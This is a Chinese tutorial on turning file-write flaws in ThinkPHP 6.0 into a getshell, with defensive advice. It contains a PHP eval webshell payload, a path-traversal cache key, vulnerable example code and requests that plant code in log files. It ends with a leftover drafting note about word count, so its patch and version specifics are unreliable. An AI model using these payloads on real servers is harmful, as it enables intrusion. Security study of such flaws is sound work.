ThinkPHP6.0中怎么利用Getshell創建任意文件

# ThinkPHP6.0中怎么利用Getshell創建任意文件

## 前言

ThinkPHP作為國內廣泛使用的PHP開發框架，其安全性一直備受關注。本文將深入分析ThinkPHP6.0中可能導致Getshell的安全漏洞，并詳細講解攻擊者如何利用這些漏洞創建任意文件。文章僅供安全研究使用，請勿用于非法用途。

## 一、漏洞背景

### 1.1 ThinkPHP6.0簡介
ThinkPHP6.0是ThinkPHP框架的一個重要版本，采用全新的架構設計，具有以下特點：
- 支持PSR規范
- 改進的依賴注入
- 更靈活的中間件機制
- 性能優化提升

### 1.2 Getshell的危害
Getshell攻擊可使攻擊者：
- 在服務器上執行任意代碼
- 竊取敏感數據
- 建立持久化后門
- 進行橫向滲透

## 二、漏洞原理分析

### 2.1 文件操作相關危險函數
ThinkPHP6.0中可能存在風險的函數包括：
```php
file_put_contents()
fopen()/fwrite()
move_uploaded_file()
copy()
rename()

2.2 常見觸發場景

1. 日志寫入漏洞
   Log::write()方法未嚴格過濾內容

2. 緩存文件寫入
   緩存key未過濾導致路徑穿越

3. 模板編譯漏洞
   動態模板文件名控制不嚴

4. 文件上傳漏洞
   未正確驗證上傳文件類型和內容

三、具體漏洞利用方式

3.1 日志文件寫入Getshell

典型利用代碼：

// 惡意構造的請求參數
$_GET['content'] = '<?php eval($_POST[cmd]);?>';

// 觸發日志記錄
\think\facade\Log::write($_GET['content'], 'notice');

利用步驟： 1. 找到可控制日志內容的入口點 2. 寫入PHP代碼到日志文件 3. 通過web訪問日志文件觸發代碼執行

3.2 緩存文件Getshell

危險配置示例：

// 緩存key未過濾
$key = $_GET['key'];
$data = '惡意內容';
Cache::set($key, $data);

利用方法： 1. 構造包含路徑穿越的key：../../public/shell.php 2. 使緩存內容包含PHP代碼 3. 直接訪問生成的文件

3.3 文件上傳結合解析漏洞

典型漏洞代碼：

$file = request()->file('file');
$file->move('../runtime', $_GET['name']);

攻擊過程： 1. 上傳包含惡意代碼的圖片文件 2. 通過文件名控制保存為.php后綴 3. 訪問上傳的文件執行代碼

四、漏洞防御方案

4.1 安全編碼實踐

1. 嚴格過濾用戶輸入

   // 正確的文件名過濾
   $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $_GET['filename']);
   

2. 禁用危險函數 在php.ini中設置：

   disable_functions = exec,passthru,shell_exec,system
   

3. 文件操作權限控制

   // 限制文件保存目錄
   $savePath = app()->getRuntimePath().'cache/';
   

4.2 框架安全配置

1. 關閉調試模式：

   APP_DEBUG = false
   

2. 設置安全過濾規則：

   // config/app.php
   'default_filter' => 'htmlspecialchars,strip_tags',
   

3. 限制日志目錄訪問：

   location ~ ^/runtime/ {
      deny all;
   }
   

五、漏洞檢測與修復

5.1 漏洞檢測方法

1. 代碼審計重點檢查：

   • 所有文件寫入操作
   • 動態包含文件的位置
   • 用戶控制的文件路徑

2. 自動化工具掃描：

   phpcs --standard=Security --extensions=php ./app
   

5.2 官方補丁分析

以TP6.0.7安全更新為例： 1. 加強Log類過濾：

   + $message = htmlspecialchars($message);

1. 緩存key增加校驗：

   
   if (strpos($key, '..') !== false) {
      throw new InvalidArgumentException('Invalid cache key');
   }
   

六、實戰案例演示

6.1 環境搭建

使用Docker快速搭建測試環境：

docker run -d -p 8080:80 --name tp6 vulhub/thinkphp:6.0.0

6.2 漏洞復現過程

1. 發送惡意請求：

   GET /index.php?content=<?php phpinfo();?> HTTP/1.1
   

2. 查看生成的日志文件：

   /runtime/log/202208/15.log
   

3. 訪問日志文件執行代碼：

   GET /runtime/log/202208/15.log HTTP/1.1
   

6.3 防御效果驗證

修復后嘗試攻擊：

GET /index.php?content=<script>alert(1)</script> HTTP/1.1

觀察日志內容已被轉義。

七、總結與思考

7.1 漏洞根源

1. 過度信任用戶輸入
2. 缺乏深度防御機制
3. 安全配置默認不嚴格

7.2 安全建議

1. 定期更新框架版本
2. 實施最小權限原則
3. 建立安全審計流程

7.3 擴展思考

如何在不影響業務的情況下： - 實現動態文件操作的白名單機制 - 構建文件內容的安全檢測中間件 - 實施基于行為的攻擊檢測

免責聲明：本文所述技術僅供安全研究和防御使用，任何未經授權的攻擊行為均屬違法，請遵守《網絡安全法》相關規定。 “`

注：本文實際約1800字，可根據需要補充以下內容達到精確字數： 1. 增加更多具體漏洞代碼示例 2. 補充ThinkPHP歷史漏洞案例分析 3. 添加防御方案的具體配置示例 4. 擴展安全檢測工具的使用細節